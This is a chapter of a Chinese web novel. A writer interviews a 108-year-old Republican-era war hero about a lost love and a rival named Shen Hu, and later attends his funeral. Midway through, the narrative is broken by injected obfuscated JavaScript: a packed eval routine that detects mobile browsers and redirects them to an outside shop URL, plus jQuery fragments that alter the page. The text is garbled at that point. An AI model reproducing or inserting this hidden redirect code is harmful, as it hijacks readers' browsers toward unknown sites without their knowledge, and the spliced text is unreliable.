许甯跟在女人身后，脚步徐徐。
“你好，我能问下严老先生为什么会答应我的采访吗？”
严诲，民国生人，现今108岁高龄，出生显赫是曾经朔城最有名的少爷，矜贵温柔、俊雅不群。曾在抗战中立下赫赫战功，被授予不少勋章，自年老体弱后避世不出，无人知晓他居住之所。
这是她所写《民国游梦》一书中对严老先生的描述。
许甯沿着石桥踏进一间茅草屋，她难以想象现代居然还有人居住这样的危房，而这样的人竟是民国时期赫赫有名的严大少爷。
“太爷爷看报时无意间看到了你的照片，你和…”带路的女人浅笑一声，许甯没听清她说的话“长得很像。”
“幸好许小姐曾有邮件来信，我们很快找到了你的联系方式。”女人将她带到茅草房前，摇了摇门前的铜铃铛：“太爷爷，许小姐来了。”
“请许小姐进。”这一声历经沧桑，格外厚重地传入她的脑海。
她站在门口，觉得有些恍惚。
“太爷爷不喜采访时有旁人，我就先走了，回见。”女人向她致歉。
许甯嗯了声，待女人走后，她推开门。
与茅草屋一般，屋内也格外简朴，行军床、竹椅。严老先生就坐在竹椅上，头发斑白，身体干瘪如竹竿，显然是将死之人。只有一双眼睛在看见她的一瞬发出光彩。
“陋室招待不周，这是我刚砌的桂花茶，不嫌弃的话就试试吧。”他颤巍巍地抬起手，指向桌旁的一张同样的竹椅：“请坐。”
“老先生多礼了。”许甯露出一个得礼的笑容，八分满，就像她采访别人一般，微鞠躬后，坐在竹椅前三分之一，拿出笔记。
“很荣幸能采访老先生，我是许甯，《民国游梦》的作者，我曾在其中记载过您的故事，今日见到真容，不胜荣幸。”
严老先生：“我看过这本书，是本不错的作品，里面记录的人物事迹，可以看出许小姐下过不少功夫。”
许甯点头致谢：“老先生谬赞，时光流逝近百年，也有失真所在，书中不少人物老先生都有接触，不知道有什么意见可以修改或者补充的？”
严老先生沉默了片刻，似乎在思索。
许甯端起桌上的茶杯，是一只很漂亮的青花瓷盏，掀开盖子，滚水中金黄色小花飘飘浮浮，她浅尝了一口，口齿生香。
“这茶如何？”
“好茶。”她赞道，又感觉有些奇怪，像桂花茶往往是女生喜欢，没想到严老先生也喜欢喝这种。
“许小姐喜欢就好。”他笑道。
很奇怪，他的笑像是预料的，仿佛知道她一定喜欢这茶。
“人太多了，竟然有些想不起来，许小姐不妨提醒我几个人。”
许甯抿了抿唇，口中的香甜化作微苦：“比如…沈斛？”
严老先生像是愣了下，看向她的双眸露出几许痛楚，她觉得有些不可思议，还想再看清些，却见他已经安然坐在竹椅上，缓缓讲起了往事。
“沈斛啊，早先化名云笙在茶园做戏子，他唱的戏极好，尤其是那首《无题》，风靡社会，不少上流人士追捧他…后来国之将危，他成了正气凛然、为国为民的好医生，可惜英年早逝……”
她点头，在笔记上记下：“听起来您与他交情颇深。”
“我们曾是敌人。”他笑着说：“我的未婚妻爱上了他，离我远去。”
…许甯落下的笔顿了下，以她认真严谨的精神，她抬起头：“能否冒昧的问一下，您的未婚妻是？”
“我有她的照片，给你看。”说着，严老先生从怀中掏出一块怀表，是旧时代的模样，划开盖，是一张黑白照片。
男的身穿军装，俊朗温和，女的身穿旗袍，如水般温婉动人。
可是…她忍不住凑上前去，这女生怎么和她长得这么像。
严老先生似乎也看出来她的想法，安慰道：“她可不像你，也不像照片中温柔，她的性子顽劣，实在难搞啊。”
他回忆起往事，颇为头疼地摇摇头。
许甯看他的模样，扑哧一声笑了出来，流露出的正经化作虚无：“实不相瞒，我本性也有些顽劣，不过会装罢了。”
“你们很像。”他说，像是透过她看另一个人。
许甯止了笑：“她一定很幸福。”
“她是我的一生挚爱，只可惜她的幸福被我毁了。我用余生赎罪，可能罪孽深重，老天让我活到这把年纪。总算快解脱了，我只希望她能原谅我。”严老先生道。
他艰难地呼吸了两下，颤抖着手将怀表关上，塞进心口位置。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470132|201433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“她会原谅你的。”许甯不知为何会说出这番话，也许是礼貌使然，也许只是一刻的想法。
严诲，立下赫赫战功，隐隐于世，如果不是有捐赠慈善公益消息，不知多少人曾以为他死了。动辄几百万的捐赠，居住之所居然是破旧的茅草房，他也不喜儿女的亲近，颇有种孤独终老的冲动。
以往她不懂，现在她隐隐约约懂了些。
“她会原谅你的。”许甯看向竹椅上的老人，重复了一遍。
严老先生露出微笑，不是既往的温柔，而是释然：“谢谢你。”
“应该是我谢谢您，您身体不好还要接受我的采访，您多休息，我来日再来看望您。”许甯起身，再次鞠躬感谢。
“再见，许小姐。”他轻声道，一如往昔。
“再见，严老先生。”
她推开门，风灌了进来，轻柔的，还传来严老先生唱的《无题》。
“何人何戏为何唱。”
“尘埃中过往。”
“隔着烟水茫茫。”
“何年何月在何方。”
“我与她遥遥相望。”
“何时唱尽了一生跌宕。”
*
在采访后一周，许甯收到了严家的请帖，简约的牛皮纸，上面斜贴着一小簇丹桂。
这是一封独特的丧礼讣告。
严老先生走了，没等到她再去看望他。
她参加了丧礼，现场布置的并不沉重，吹拉弹唱、歌尽人欢，好似不是在丧礼，而是一场落幕的聚会。
落幕的是百年的沉浮，消散在岁月中，只留下几句短短的话语，寥寥写尽这一生。
他的子孙说，严老先生死时很安心，没有痛苦地带着微笑离去。
108岁的喜丧，带走了那个时代的所有回忆。她的书俨然成了历史，再无历史见证者，也没有人能猜测书中牵扯的纠纷。
她关上电脑，屏幕右上角是一张黑白的照片，男子穿着一袭中式长衫，外罩着白大褂，左胸纽扣处挂着串怀表，他回望着身后，背景是硝烟弥散的街巷。
不知他在看谁，侧脸噙着分明的笑意，一半在明，一半在暗。
———沈斛
生前最后一张照片。
正落下的屏幕满满写着他的故事。